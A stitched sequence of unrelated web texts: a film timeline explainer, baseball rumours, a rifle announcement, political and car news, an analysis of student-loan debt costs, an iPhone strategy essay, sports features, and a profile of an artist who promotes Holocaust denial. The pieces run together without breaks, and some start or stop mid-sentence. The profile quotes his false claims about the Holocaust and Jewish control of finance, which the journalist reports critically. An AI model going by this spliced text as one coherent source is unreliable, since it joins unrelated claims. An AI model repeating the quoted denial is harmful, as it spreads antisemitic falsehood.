Timeline #2: Using the time machine, Doug travels back four and one-half days. This breach instantly creates a second branch in time. This new timeline is a fresh start, so to speak, a new chance to prevent the bombing and save Claire. At this point paradoxically, there are two Dougs, present-day Doug and future Doug. Remember that the scientist told Doug that he might be dead when he landed in the hospital and that his other self might come to the morgue and find him dead on the slab. When future Doug arrives in the hospital, present-day Doug is still going about his normal life, unaware that anything unusual is going on. Future Doug manages to survive his trip and steal an ambulance from the hospital. He crashes it into the bait camp. He rescues Claire and leaves clues ("U can save her") and fingerprints at Claire's apartment. He knows that if he fails in his mission, present-day Doug will find the clues. Claire calls the ATF office to find out if Doug is legit. She changes into a red dress. Doug then makes a critical mistake. He leaves Claire at the apartment, thinking that she will be safe. However, the terrorist, who knows where she lives, shows up and kills her. He cuts off her fingers and burns her to get rid of DNA evidence. He puts her in the SUV, drives to the river and dumps her body at 10:42 a.m. He drives the SUV onto the ferry and leaves. Doug tries to find the bomb and defuse it but fails. So in this timeline, he is not able to save Claire or the ferry. Everything so far happens before the start of the movie.
(Events After the Beginning of the Movie)
The ferry blows up at 10:50. It is this explosion that we see at the beginning of the movie. Future Doug is killed, but no one is aware of it because his body is one of the bodies bagged up on the dock, this is proven because Doug hears a phone ringing that he thinks is his but realizes a "similar" ring tone is coming from a corpse, unbeknown to him it is his own. The movie follows present-day Doug as he investigates and finds the clues and the crashed ambulance. If he had not gone back in time previously, there would have been no clues in Claire's apartment, no crashed ambulance and her corpse would not have been wearing the red dress. The scenario would have been like Doug's investigation in timeline #1. Soon after the bombing, Doug returns Claire's call from earlier that morning and leaves a message on her answering machine. When Doug goes to Claire's empty apartment, her cat acts like it knows him because future Doug has just recently been in the apartment trying to save Claire. Present-day Doug uses the time machine to look into the past all the way back into timeline #1, before timeline #2 branched off, that is, before future Doug arrived. When the terrorist is caught, he acts strangely because he just killed future Doug a couple of days ago.
Timeline #3: Present-day Doug decides to use the time machine to go back in time once again. As he is sitting in the time machine, the FBI scientist makes the comment that he looks like he's done this before. Doug answers, "Maybe I have." This is an obvious hint that he (actually an earlier version of himself) has gone back in time before. After Doug's trip back, a third timeline is created. Doug has one more chance to prevent the bombing and save Claire. He crashes the ambulance again and leaves the same clues and fingerprints as before, just in case. But this time, perhaps because of all the clues left by the earlier Doug, he manages to save Claire and avoid getting killed. When he takes Claire back to her apartment, he first tells her to stay there, but in a moment of "déjà vu", he has a feeling that he should take her with him. They go to the ferry and prevent it from blowing up. But future Doug dies, neatly avoiding the question of whether time "twins" meeting each other would cause an anomaly. The present-day Doug in this third timeline gets the girl...end of movie.
To summarize, in the first timeline that we never see, the ferry blows up. In the second timeline, the ferry blows up again, and this is the beginning of the movie. In the third timeline at the end of the movie, the ferry is saved. Edit (Coming Soon)The Mariners' search for a closer has them in the market for right-handers Brian Wilson and Grant Balfour, among others, according to Ken Rosenthal and Jon Paul Morosi of FOX Sports (on Twitter). The Mariners are known to be in the market for a ninth-inning arm this winter, and Wilson and Balfour represent two of the highest-profile names at the position.
Wilson, 32 in March, returned in late August and fired 19 2/3 innings of one-run ball between the regular season and the playoffs for the Dodgers. Wilson whiffed 21 hitters and walked only four, flashing an average fastball velocity of 93.2 mph. His strong showing likely helped to convince teams that his second Tommy John surgery is safely in the rear-view mirror. He's caught the interest of the Tigers, Rockies and a slew of other teams.
Balfour, 36 next month, saved 62 games for the 2012-13 A's en route to a 2.56 ERA with 9.4 K/9 and 3.6 BB/9. The Yankees, Tigers, Rockies, Rays and Angels have all already expressed interest in the Australian hurler, who is expected to sign with a new team due to the fact that he'll be too pricey for the A's.
It's a crowded market for relievers, but each can make a case for a multiyear deal. In general, it'd seem beneficial to sign early in the offseason, as this year's free agent class is rife with closer types, led by Joe Nathan.Stag Arms introduced a number of new products at the recent SHOT Show including a new rifle called the Stag-10. If you were to guess that the Stag-10 is a AR-10 like gun chambered in.308, you would be correct.
The Stag-10 is a semi-automatic rifle chambered in the classic.30 caliber cartridge. According to Stag’s website, the gun was built with the “outdoorsman and tactical operator in mind.” Heaven forbid anyone describe a modern sporting rifle without using the terms “tactical,” “operator” or “tactical operator.”
Two versions of the gun will be made: the Stag-10 and the Stag-10s. The guns are nearly identical, excepting a few features. The “s” model has a shorter barrel – 16″ instead of 18″. Both barrels are made with a 1:10 twist rate and are chrome lined. The longer gun uses a Magpul FRS while the Stag-10s uses an ACS. The -10s also has an end plate with two loops for attaching a sling.
Both guns have a VG6 Gamma compensator, Diamondhead VRST handguard with KeyMod attachment points, a single stage trigger and Hogue pistol grip. A Magpul enhanced trigger guard is standard.
These guns come with a lifetime warranty that is transferrable to another purchaser should you ever decide to trade. The company also includes an “infinite shot barrel guarantee.”WASHINGTON — President Donald Trump was in the mood to celebrate after cutting a big deal with opposition Democrats.
Joshing with Northeastern officials in the Cabinet Room, Trump hailed New York Democrat Andrew Cuomo as “my governor” and traded banter with Senate Democratic leader Chuck Schumer, another fellow New Yorker.
“If you just dropped in from outer space, you wouldn’t know what the last eight months have been like,” said Rep. Peter King, R-N.Y., recalling the friendly exchanges between Trump and Schumer during the meeting with New York and New Jersey lawmakers.
That would be the same Schumer whom the president had previously slammed as a “clown” and “Cryin’ Chuck.”
And now?
“In some ways it’s almost like they were completing each other’s sentences,” King said.
On display at that chummy scene Thursday was the Trump who’s emerged in full this past week: Trump the independent.
A president who spent months catering to the Republican conservative wing now appears unbound by ideology and untethered by party allegiances.
It’s not a complete surprise to his fellow Republicans. They long have worried that Trump, a former Democrat, might shift with the political winds. But Trump’s overtures to Democrats have left Republicans in an awkward and perplexing position, undercut by their leader and unsure of what’s next.
“Our grass roots are very confused,” said Rep. Mark Meadows, R-N.C., head of the conservative House Freedom Caucus, on MSNBC Friday. Meadows said he viewed the deal as a “unique situation because of the devastation in Texas.”
Trump’s deal with Democrats to raise the U.S. borrowing limit and keep the government running for three month months — all in the name of speeding relief to hurricane victims — quickly passed Congress and gave him the opportunity to savor a victory after months of legislative setbacks.
He’s now talking about possible future deals with Democrats — doing away with votes on the raising the debt cap, and shielding from deportation young immigrants living in the United States illegally who came brought here as children.
“I think that’s what the people of the United States want to see,” Trump said. “They want to see some dialogue.”
It’s unclear how much of Trump’s turnabout is a deliberate strategy to create space for his tax overhaul this fall or simply a deal-maker’s gut decision, bargained during an Oval Office session that left his fellow Republicans gobsmacked.
Trump has been frustrated by GOP leaders and blames House Speaker Paul Ryan, R-Wis., and Senate Majority Leader Mitch McConnell, R-Ky., for his inability to score big triumphs in Congress. He’s appeared unconcerned about dismissing their opposition to the debt ceiling deal, focusing instead on the fact that the move has him rare kudos with some television commentators.
Trump sprinkled salt on the wound Friday by reminding GOP leaders via Twitter about their failed efforts to overhaul former President Barack Obama’s health law: “Republicans, sorry, but I’ve been hearing about Repeal & Replace for 7 years, didn’t happen!”
In venting about Republican congressional leaders, Trump may just be channeling his supporters. Trump, who essentially hijacked the party two years ago, has positioned himself as the voice of voters who feel alienated from Washington and disdain both parties.
“The Republicans in the Senate did not follow through on their commitment in working with the administration to repeal Obamacare. So what’s he going to do?” asked Tony Perkins, the president of the Family Research Council.
Perkins said he didn’t think Trump’s most loyal supporters would approve of extended dealings with Schumer and House Democratic leader Nancy Pelosi of California. But, he added, “They’re just as mad at the Republican leadership as they are the Democrats.”
Still, Trump’s startling agreement on the debt left Republicans wondering how far he’s willing to stray from party orthodoxy in pursuit of a deal.
Their frustrations spilled out during a closed-door meeting Friday with Treasury Secretary Steve Mnuchin and White House budget chief Mick Mulvaney, a former South Carolina congressman, who were sent to Capitol Hill to defend the deal. At one point Mnuchin, a former Goldman Sachs executive and Democratic donor, drew hisses when he asked House Republicans to “vote for the debt ceiling for me,” according to Rep. Mark Walker, R-N.C.
From the start of his presidency, Trump has repeatedly labeled Democrats as obstructionists, and few expect his budding alliance with Schumer and Pelosi to be long-lived. Trump is loathed by the Democratic base, many of whom talk more openly about impeachment than cooperation.
But there’s little doubt that Trump’s talk of “dealmaking” may occasionally open up possibilities for Democrats.
“I think the president, when it comes to making deals, is an enigma,” said Rep. Steve King, R-Iowa.
King said he will continue to work with Trump, but acknowledged that the past week had been a “little unsettling” and noted that “conservative allies have been leaving the West Wing at a fairly regular pace.”
One of the top aides King was referring to was Steve Bannon. The strategist was ousted in August but remains a vocal proponent of the president’s agenda.
Trump announced the deal with Democrats while Bannon was sitting for an interview with CBS News, but the Breitbart executive chairman saved his most pointed remarks for McConnell and Ryan, accusing them of trying to “nullify” the results of the 2016 election.
The headlines on the Breitbart website Friday reflected the anti-establishment wing’s distrust of some of Trump’s New York allies, as well as party leadership — but not of Trump himself.
Other Republicans are willing to give Trump a pass, for now. “Of course I view him as a Republican,” said Rep. Darrell Issa, R-Calif. He said that when Republicans can’t solve a problem by themselves, “then the president has that obligation to be that neutral arbitrator.”
Associated Press writers Laurie Kellman in Washington and David Klepper in Albany, New York, contributed to this report.Brian Cleary/Getty Images and the Manufacturer
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Sometime later this summer, a curious new sports-car prototype will cruise the streets of northern Georgia.
Today, on the eve of the 12 Hours of Sebring, Don Panoz announced that his company will soon build roadgoing versions of the DeltaWing race car.
Quick recap on the DeltaWing: It’s a narrow-nosed smack in the face of conventional race cars, a curiosity in the world of nearly identical race cars. The idea is to concentrate the weight, the drag, and the dynamics of the rear axle for greater efficiency. It’s got about half the horsepower of comparable racers, half the weight, yet runs similar lap times. It finished fourth at Petit Le Mans last year.
Panoz, who just turned 80, announced that the narrow-front architecture will form the basis of a new family of road cars. The first will be a two-seat GT, with a turbocharged four-cylinder engine pumping out about 350 horsepower. The projected cost is around $60,000.
The GT’s chassis will also underpin a four-seat family sedan. Details are thin, but Panoz explained this mainstream car will have roughly 100 horsepower and cost about $30,000. According to Panoz, an independent study using the preliminary design data projected a 42-percent increase in efficiency and over 70 mpg highway.
The road-car chassis would also form the basis of a new DeltaWing GT racing car.
Brian Cleary/Getty Images and the Manufacturer
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“I’m certainly no tree hugger,” said Panoz, who is the man behind the nicotine patch yet still famously smokes, “But if you can reduce emissions and consumption, that just seems like the right thing to do.”
Several key details remain undecided. For one, it’s not yet clear if Panoz will sell the cars or if he’ll partner with another manufacturer. Also, the powertrains could change to full electric, gas, or a hybrid combination of the two.
Before you discount this plan as vaporware, remember that many said the same thing about Elon Musk. And Panoz and his son Dan have built and sold cars before—the AIV Roadster and the Panoz Esperante.
The DeltaWing may very well be a second act.
This story originally appeared on roadandtrack.com.Amid continuing debate over university tuition fees there remains confusion over some important numbers. We showed before that scrapping tuition fees for new students would increase borrowing by £11 billion a year. It has more recently been suggested that debt accumulated by graduates under the £9k a year tuition fee regime should be written off. If that policy were implemented immediately it would have almost no effect on government debt in the short run, but due to reduced future repayments from graduates, would increase debt by around £20 billion by 2050. If implemented after an election in 2022 the cost would be much higher, adding around £60 billion to debt in the long run. Suggestions that debt would rise by £100 billion are wrong. £100 billion is the outstanding value of all tuition fee and maintenance debt since 1998 – it is not the answer to the question: what would be the impact on public debt of writing off fee loans accumulated under the £9,000 tuition fee regime?
Citing concerns about access to university, Labour’s election manifesto proposed to scrap tuition fees for all future students. Our previous work outlines the impact of this on graduates and the government finances. However, following the release of the manifesto, Labour leader Jeremy Corbyn went further than this, stating in an interview with NME that he would “deal with” the debt burden of those with “the historical misfortune of being at university during the £9,000 period”1.
This sparked considerable debate, with some reports suggesting this would cost approximately £100 billion. In fact, the £100 billion figure is the total value of all outstanding tuition fee and maintenance debt right back to 1998. The outstanding fee debt of graduates who entered university after 2012 stands at £34 billion. If that were written off in its entirety it would have almost no effect on government debt in the short run, but due to reduced future repayments from graduates, would increase debt by around £20 billion by 2050 (in current day terms). The difference is made up of loans the government expects to write off anyway. Of course, if the write-off were not to occur until after a 2022 general election, the costs of writing off all tuition fee debt would be much higher – we estimate this would add roughly £60 billion to debt by 2050.
As with the policy of scrapping fees for future cohorts, it is the highest earning graduates that would benefit the most, with the lowest earning graduates benefiting very little from reduced compulsory loan repayments.
Government finances
Figures from the Student Loan Company show that, as of March 2017, £100.5 billion was outstanding in student loans. However, as shown in the Table, this includes £11.2 billion of Welsh, Scottish and Northern Irish loans, which are administered separately, as well as £44.1 billion in pre-2012 English loans. Furthermore, only around £30 billion of the remaining £45.3 billion in post-2012 loans consists of tuition fee loans including the interest accumulated on those, with the rest made up of maintenance loans. Adding the approximately £4 billion in fee loans that will have been paid to universities since March, the current level of total outstanding fee debt of students having entered university after 2012 will be around £34 billion.
NI, Welsh and Scottish loans £11.2bn English loans - pre-2012 cohorts £44.1bn English loans - post-2012 cohorts £45.3bn Of which: Tuition fee loans £29.7bn Maintenance loans £15.5bn Total outstanding UK student loans £100.5bn
See End Note 2
Writing off the post-2012 tuition fee loans would weaken the public finances. The impact on the deficit would be rather complicated, with a substantial increase in the first year, by up to as much as the full value of the debt written off – that is there would be a one off increase in the deficit of up to £34 billion. Beyond that it would be increased only by the loss of interest that would otherwise have been accrued on the outstanding debt. Depending on how the write-off is scored it is possible that the deficit would actually be reduced in future years as less debt will be written off in those years. But of course this would all be dwarfed by the £11 billion a year cost if loans were replaced by “free” tuition going forward.
The impact on government debt of writing off these £9k loans (and ignoring any change to the tuition fee regime going forward) is more straightforward. In future years, the Government would receive lower loan repayments and therefore debt would increase. Figure 1 summarises our estimates of the pattern of this increase. In the short run, there would be no impact on government debt as new graduates would be making repayments on their maintenance loans, meaning overall receipts are unaffected. However, the impact starts to increase as more students clear their maintenance debts, resulting in the government losing out on repayments from graduates. Government debt would continue to rise above its counterfactual level for 30 years, before levelling off at the point where outstanding student loans would have been written off anyway. Thereafter the only cost to the public finances would be the interest paid by government on the extra debt accumulated, while government debt would be permanently higher.
Figure 1. Increase in Government debt from writing off post 2012 English tuition fee loans
See End note 3
The figure highlights that with all other government policy unchanged, this policy would increase the debt by around 1% of national income by 2050; equivalent to around £20 billion in today’s terms. If instead only the amount in excess of the £3,465 charged to those going to university in 2011 were to be written off, government debt would be around £10 billion higher in 2050 as a result of the policy.
Obviously the level of outstanding post-2012 fee debt will increase under the current system as new cohorts experience the higher fees, increasing the cost of writing off these loans. For example, if a government were to come to office in 2022 set on writing off all outstanding fee debt from the post-2012 cohorts, outstanding tuition fee debt would be in the region of £100 billion4. Writing this debt off would increase government debt by roughly 3% of national income, or £60 billion, in 2050.
Wider implications
With all else held constant, the main beneficiaries of this proposal would be high earning graduates, with low earning graduates standing to benefit very little. Under the current system, high earning graduates make the highest student loan repayments and repay the largest proportion of their debt. If a significant part of the debt were to be written off, their total repayments would therefore be reduced most. Low earning graduates, on the other hand, are forecast to repay very little of this final part of the loan; indeed around one-third would see no change at all to their student loan repayments as a result of the policy as they will never earn enough to clear even their maintenance loans.
Furthermore, not all students take out the full fee loans available to them – for example, around 7% of students starting university in 2014–15 chose to pay their fees upfront, while others did not borrow the full amount or have already made repayments on their tuition fee debt. Unless there will be some form of compensation for those that paid their fees (or part thereof) upfront, those graduates would not benefit (or not benefit as much) from any writing off of tuition fee debt. They (or their families) might reasonably feel cheated.
Writing off the tuition fee debts of those who paid the post 2012 fees in England might also place pressure for additional spending in Scotland, Wales and Northern Ireland whose populations would otherwise not benefit from this change.
There is also of the issue of those who went to university before 2012, who themselves faced tuition fees; 2011 students incurred fee debts of more than £10,000 for their degrees, for example. While these debts are considerably lower, leaving these individuals’ debts untouched while trying to address the “historical misfortune” of attending university after 2012 would seem contradictory. Adding these earlier debts to the write-off would of course add to the long run costs considerably.
Of course, our forecasts for the impact on government debt in the long run assume no policy changes designed to recoup some of the money. The government could, for example, pay for this with a modest increase in the top rate of income tax. This would do something to alleviate concerns that the policy is regressive, although high earners without student debt – people who didn’t go to university as well as those who went but do not have any outstanding debt – would lose out.
End Notes
1. The NME interview with Jeremy Corbyn can be found at http://www.nme.com/news/jeremy-corbyn-will-deal-already-burdened-student-debt-2082478.
2. Figures from March 2017 Student Loan Company report “Student Loans in England: Financial Year 2016-17”.
3. Uses OBR central projection of GDP. The discontinuity in 2046 occurs because this is where students start to have their debts written off. The figure only includes the additional debt impact of writing off the stock of post-2012 tuition fee loans, it does not include any debt impact from scrapping tuition fees going forward.
4. This uses the estimated increase in student debt, including interest, from the OBR’s March 2017 Economic and Fiscal Outlook and assumes that tuition fee loans will stay constant as a proportion of total loans given out. It has been put in today’s prices.We don’t want to just make a new phone. We want to make a much better phone.
– Jony Ive, video at iPhone 5 launch event
Disruption theory has taught us that the greatest danger facing a company is making a product better than it needs to be. There are numerous incentives for making products better but few incentives to re-directing improvements away from the prevailing basis of competition.
This danger is more acute for technology companies. Coupling incentives with the speed of improvement in various technologies (aka Moore’s law) means that over-service can come suddenly and more quickly than warnings from the marketplace. A product can tip from under- to over-shooting the market within one product cycle. One year the product is under-performing and trying to catch up to the competition and the next it’s superfluous and commoditized. The dilemma is compounded by the cycle time of development which can span multiple product cycles.
Therefore, how to tell whether a product is over-serving a market is one of the most important and frequently asked questions I get asked. It’s easy to see over-service in the rear view mirror when looking at a multi-year pattern. The trouble is that by the time you see the data, it’s too late. How do you tell you’re on the cusp of good enough, subject to imminent disruption before you get there?
I consider measuring a product’s absorbability to be a marketing problem. The marketer’s job is to read the signals from the market[1]. Determining absorbability comes down to reading two market signals, both of which must be met before green-lighting an improvement: (a) a product’s improvements must be used and (b) a product’s improvements must be valued.
If a product’s improvements are not used and the buyer will not pay more for them then they are not being absorbed and the effort to develop the improvements should be redirected.
Now the problem becomes one of measurement. Of the two, utilization is easier. Data can be gathered on whether a feature is being used. Research methods exist to tell if a feature would be used even if it’s not available[2]
The more difficult assessment is that of the value of a feature. You can usually only tell value by trying to price it and watching what happens. For example, you add more speed/memory/capacity and try charging more (or the same) for the product. The acceptance will be measured by sales growth and will give you an indication of whether these improvements are valuable.
If you have to add features and drop prices at the same time then it’s likely that the market does not value the improvement.
But this is extremely risky. You need to wait through a sales cycle and iterate through a development cycle before you have an answer. In a space where competitors are placing opposite bets, the experiment fails even if you get the data.
How can you structure a value measurement experiment without wasting an opportunity?
Rather than dealing with hypotheticals, let’s use the iPhone as a test case. As Jony Ive states, the focus for the latest iPhone was to make it better. Is this improvement absorbable? What happens if Apple’s bet on being better is wrong?
First, we can confirm that the iPhone has been on a trajectory of getting better and that those improvements have been absorbed so far. We can measure the history of performance of the product (roughly doubling every year) and we can also measure proxies for performance as I have in the following charts:
As the product has been improved along these dimensions, sales have increased and prices have held steady (even rising occasionally.)
The question is about the future: what about the latest “5” variant?
The clue to this experiment is the presence of a control group. We could test the question of absorbability by keeping a version of the product which did not improve (or got cheaper) and measuring whether it performs better vs. the “improved” version.
Of course, this is exactly what Apple does with the n-1 generation products. By ranging products which are older and at lower price points it can measure whether the improvements are valued.
If sales of the n-1 variant were to increase relative to the new version then they can understand when they are at the point of good enough. The experiment is brilliant because the margin on the older products is maintained even at the lower price point.
We don’t have public data on the performance of the old vs. the new but some studies show that, at least in some markets, the older variants have, so far, been a minor part of the sales mix. The CIRP study from early this year showed that about 90% of holiday iPhone sales in the US we for the latest (4S) variant. If this pattern persists globally and for the 5 then the improvements can be said to be valued.
If the new features (as represented by the metrics charted above) also get broad engagement–data which Apple can easily obtain–then the iPhone 5 can be declared not good enough. The company can then comfortably work on improving it further.
—Hey, if a 6-foot-3, 335-pound lineman can double as a cheerleader during halftime, what's stopping a 5-foot-4, 140-pound baton twirler from lacing up her football cleats?
South Allegheny (McKeesport, Pa.) High's Audra Lewis wears her majorette uniform under her football uniform, serves as the team's kicker for two quarters, takes off her pads, twirls her baton during the break and then puts it back on for the second half.
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"She's like Superman, changing those outfits," South Allegheny football coach Pat Monroe told the Pittsburgh Post-Gazette in a story on Lewis.
Also a three-time All-Section soccer star for the Gladiators, Lewis served as the backup kicker on a South Allegheny squad that finished 7-3 last season. That made pulling double duty as a majorette during halftime a bit easier during her junior year.
Now a senior, she earned the starting job this fall and scored the only points on a 31-yard field goal in the Gladiators' 31-3 opening night loss to Pittsburgh's Seton La Salle High.
"Last year, I think she got her feet wet a little just coming out for the team," Monroe told the Post-Gazette. "But she worked hard in the offseason |
the sacrifice of six million Jews. And the museums, memorials, monuments, study centers, Holocaust chairs at the universities—it's all part of the promotion of a new kind of, like I said, civil religion maybe... We're the heretics in a new religion that's being promoted and built up and being embraced by governments throughout the United States and Europe."
Krafft mentions people "sitting in prison because they dared to go up against this thing," and says, "It's not just the Jews that are promoting this thing. Yeah, it's their little myth. But we're going to be rounded up not by Jews, we're going to be rounded up, if it comes to this, by people just like ourselves." He says, "The Jews have gotten white people to turn against themselves," and that Holocaust revisionism is "a good weapon to use against the people who are trying to replace us."
Krafft, who is 65, has always had an edge to him, and it's been sharpening in recent years. "I drifted into white nationalism as a result of reading a book about a Romanian archbishop who was charged with crimes against humanity and subsequently deported from the United States," Krafft explains on the podcast. (According to the New York Times, the archbishop's past "included membership in a group called the Iron Guard, a fascist movement that was the Romanian parallel of the Nazi storm troopers in Germany.") The archbishop's story "intrigued me and I started investigating this case," Krafft says on the podcast, "and the deeper I got into it, the more I realized that the charges were trumped up. That led me to investigating the Holocaust, and I went through that into becoming aware of the writings of Kevin MacDonald and some of the intellectual leaders of what we call the white nationalist movement."
The particular topic of the podcast was whether white nationalists could be more successful as a movement if they hid their beliefs on the Holocaust or homosexuals. Krafft said he didn't think a person's sexuality should matter to white nationalists (the two others on the show disagreed), but said that the truth is more important than white nationalist strategy, and therefore he and his fellow white nationalists should not hide their beliefs about the Holocaust.
Krafft's website, from which he sells most of his artwork, does not contain any of his copious commentary about the Holocaust.
To clarify his views, last week I asked Krafft over e-mail, "Do you believe Hitler's regime systematically murdered millions of Jews?"
Krafft wrote back, "I don't doubt that Hitler's regime killed a lot of Jews in WWII, but I don't believe they were ever frog marched into homicidal gas chambers and dispatched. I think between 700,000–1.2 million Jews died of disease, starvation, overwork, reprisals for partisan attacks, allied bombing, and natural causes during the war."
That was the entire e-mail. I followed up: "The number I've always read is 6 million Jews killed. I just want to clarify that it's your belief that 700,000 to 1.2 million Jews died total."
Krafft did not answer the question. He only sent a link to a story about exaggerations in the original numbers of Jews reported killed at Auschwitz. That story, called "New 'Official' Changes in the Auschwitz Story," appears on a website called Institute for Historical Review.
Wanting to understand more, I asked Krafft over e-mail to explain the development of his beliefs. He reiterated that he didn't get interested in World War II until he read about the Romanian archbishop in 2000, and said he continues to research the case, including a trip this December to the John Jay College of Criminal Justice in New York City. He wrote:
Understanding the nuts and bolts of this complex civil case, the Romanian history behind it and its geopolitical ramifications ultimately served to awaken my racial self-awareness as a WASP (White Anglo-Saxon Protestant). Most people don't understand the difference between White Nationalism and White Supremacism. White Nationalists don't want to reign supreme over any other race. Symbols associated with White Supremacism like swastikas, shamrocks, the Celtic cross etc. aren't embraced by White Nationalists. White Nationalism doesn't have a symbol.
On Facebook, Krafft has posted links to claims that death-camp photography was doctored and that the US Holocaust Memorial Museum fraudulently displayed a gas chamber door. "Holocaust studies is an academic echo chamber," he has written.
Krafft's Facebook posts got the attention of Tim Detweiler, who showed Krafft's work several times during his tenure as director of the Museum of Northwest Art. He's not sure how to feel. "If you were a Nazi sympathizer and selling Hitler paraphernalia by the side of the road, you'd be killed," Detweiler said. "But he's selling it at the highest-priced stores and at galleries all over the country... It would be like if Kara Walker came out after doing all these years of pickaninnies"—Walker is an African American artist who makes cartoonish silhouettes of horrible scenes from slavery—"and said, 'Oh, through my research, I've found that the slave trade was not as bad as we thought—the numbers were exaggerated and the slaves had more choice than we thought.' What would you think of her work then? I mean, I don't know. My head's spinning, to be honest."
According to old friends of Krafft's interviewed for this story, Krafft has laughed in private at the liberal-leaning art establishment he's fooled with his art. In response to that accusation, Krafft said, "I would ask the person who told you they have seen me laugh about 'fooling' curators to be more specific and tell you which curators they saw me laughing at." More than one person tells the story of Krafft privately laughing at curator Timothy Burgard, who is in charge of American art for the Fine Arts Museums of San Francisco (FAMSF).
In 2003, Krafft made a ceramic teapot in the shape of a bust of Hitler, with eerie holes for eyes. A Jewish collector named Sandy Besser, now dead, bought the Hitler teapot and added it to his overtly politically themed collection, which he later donated to FAMSF, where it was exhibited in 2007. Burgard wrote about it in a catalog as explicitly and clearly antifascist. "These blind-looking eyes also evoke associations with... the world turning a blind eye to the horrors of the Holocaust."
Reached by phone last week, Burgard said Krafft's change of heart on World War II raises larger issues about artists' intentions, "both expressed and concealed... and how those do or don't dovetail with their public reception and interpretation." As an experiment, Burgard showed the Hitler teapot to a colleague who had never seen it before and the colleague agreed with Burgard's original interpretation. What does it mean that when Krafft made this portrait of a demonized Hitler, he was actually beginning to spread the word that the demonization of Hitler has been greatly exaggerated?
Another question: Will the museum get rid of the Krafft? That's unlikely, Burgard said, explaining that he values the perspectives brought by artworks, maybe even more so when they're reminders of attitudes we'd forget at our own risk of repeating them. The label on the wall will probably have to change. Burgard said that if Besser—the original collector of the Hitler teapot—had thought the sculpture rehabilitated Hitler's regime, he'd probably have smashed it.
Burgard was able to find a note he received from Krafft in 2008. "I enjoyed your essay on 'The Content of Teapots' in the Besser Collection catalogue," Krafft wrote. "You certainly did your homework on the context of my 'Hitler Idaho' teapot."
The open question of how to treat the teapot in the future "deserves to be examined fully and critically in the public domain," Burgard said.
Later, I asked Krafft what he thought of Tim Detweiler's comparison to Kara Walker. "The difference between me and Kara Williams [sic] is that she gets to play the race card and I don't because I'm an unregenerate white heterosexual male," Krafft protested. "Has Kara Williams [sic] ever not cut a race based silhouette? Does she even know that the first person on record as a slave owner in America, Anthony Johnson, was black?!"
This is a case of trying to use one detail to discredit an entire history. I don't care whether the first slave owner in America was black. I'm not falling for it.
Krafft's friends say it's exhausting to argue with him because of his ability to cite everything he's read. He's been a poet and an artist since the 1960s and a proven rabble-rouser since high school, when he was expelled by a headmaster who said, according to a story Krafft delights in repeating, "Charlie puts people on edge and keeps them there." But lately he's taken his experiment in putting people on edge further than ever before, and his friends, other artists, and even people who sell his work are hitting their limits.
"We're all scratching our heads, and there are lots of us. We always said he'll do anything to provoke attention, but no—that's not it. It's real. It's an ideology now," said Hans Nelsen. Nelsen is a woodworker on Vashon Island who's known Krafft since the 1960s and feels extremely torn on the subject, because he loves Krafft as a friend but is horrified by some of his beliefs. The two men agree, Nelsen said, that global greed is out of control and linked to a corrupt banking system, but they diverge in that Nelsen does not see that system as a Jewish cabal.
When I asked Krafft about this, he scoffed. "The idea of 'friends' wringing their hands over what I think about anything strikes me as comical. I think Jewish overrepresentation in national and international finance is uncontrovertible. I would call this a fact not a 'cabal.'"
Another old friend, Tacoma writer Peggy Andersen, said she had to stop socializing with Krafft. "I told him, 'When I hang out with you, I feel like I'm endorsing something.'... His main thing is that the Holocaust is an exaggeration. I say, if they only killed 10,000 people because they were Jewish, it would still be a holocaust, jackass." As Andersen and I ended our interview, she said, "Be sure to say I love Charlie."
A longtime friend who insisted on anonymity said, "It's not only anti-Semitic stuff, it's also racism—you know, blacks and women and anything that is held dear by the liberal establishment. And I can see a reaction against holier-than-thou attitudes, I mean, yeah, of course. But..."
Other friends, like Larry Reid, coauthor of the 2002 monograph on Krafft, Villa Delirium, just sort of look away. "I try not to pay too much attention," Reid said.
On Facebook earlier this month, when a friend named Fred Owens unfriended Krafft and called him a bigot, a discussion arose in which Krafft told his critics they could sell off their works by him at Seattle ArtResource on First Avenue if they didn't want them anymore. But Jena Scott at Seattle ArtResource recently stopped accepting any Krafft works for consignment, because she found his e-mails increasingly upsetting. "I'm just sad about it," Scott said. "He's an intelligent, articulate guy who I respected throughout the years, and it just makes me sad. Everybody's sad, and you can't talk to him about it because it's not going to make a damn bit of difference."
Owens was motivated to speak on Facebook after playing online chess with a close Jewish friend from Boston, who simply asked Owens why he had a friend like that. "I realized that I could not continue playing chess with Harvey unless I did something about Charlie—it became simple for me," Owens wrote to me in an e-mail. Owens made another, broader, important point, too: We should "not just blame Charlie for this but the entire arts community of Seattle which has proven to be soft-headed. As I said when I wrote about this, it would never happen in Brooklyn or Boston—people would just kick his ass down the block. But Seattle has a misguided kind of false tolerance going on here, so there is a lesson for all of us in this."
Krafft is not a simple case, and nobody who knows him seems to be enjoying this moment. His personal kindness and generosity to friends and other artists is well-known. He has studied Zen Buddhism; I had to interview him by e-mail for this story because he's on a long pilgrimage in India.
Maybe what's hardest to accept is that a man so totally, radically, fist-pumpingly opposed to ideology—a guy you wanted to root for at the end of a bloody, painfully ideological century—himself seems to have succumbed to an ideology.
Yoko Ott, the curator who invited Krafft to be in the Softly Threatening exhibition at Bumbershoot in 2006—where he contributed the swastika wedding cake—remembers visiting him in his studio and wondering what to think.
"I did confront him, like, 'Do you consider yourself a neo-Nazi or sympathetic to that?' And he said no, that he didn't," Ott said. "And then he laughed and said, 'But would that frighten you if I were?'"
This article has been updated since its original publication.Bill Cosby’s had it with Donald Trump and he let it be known on “Today” with Meredith Veira. Here’s how the Huffington Post prefaced Cosby’s comments:
Cosby was on the show to discuss education, but his segment was following Vieira’s interview with Trump about his presidential aspirations. Besides the buckets of controversy Trump has caused with his descent into birtherism, he has also been very cagey about his presidential aspirations. This clearly rankled Cosby, and when Vieira happened to mention Trump’s name, he cut in.
Oh please with Donald Trump,” he said. “Take him home with you.”
“Now why do you say that?” Vieira said. “Because he’s full of it,” Cosby responded. There was at least a three-second silence–an eternity in television. Then, Vieira softly asked, “based on what?”
“Based on what I just heard,” Cosby said, castigating Trump for not announcing his intentions. “You run, or shut up…but the only thing he’s running is his mouth.”
“Well, on that note, Bill Cosby..we’ll see if he runs,” Vieira said, somewhat awkwardly. “I don’t care!” Cosby said.Mhari Yi, who moved to Edinburgh to attend Napier University and stayed on to work, is excited as she embarks on a new side career as a budding author. She lived happily for ten years in Edinburgh with her “Hearts supporting boyfriend and their two cats named Kim and Jane,” she said in an interview.
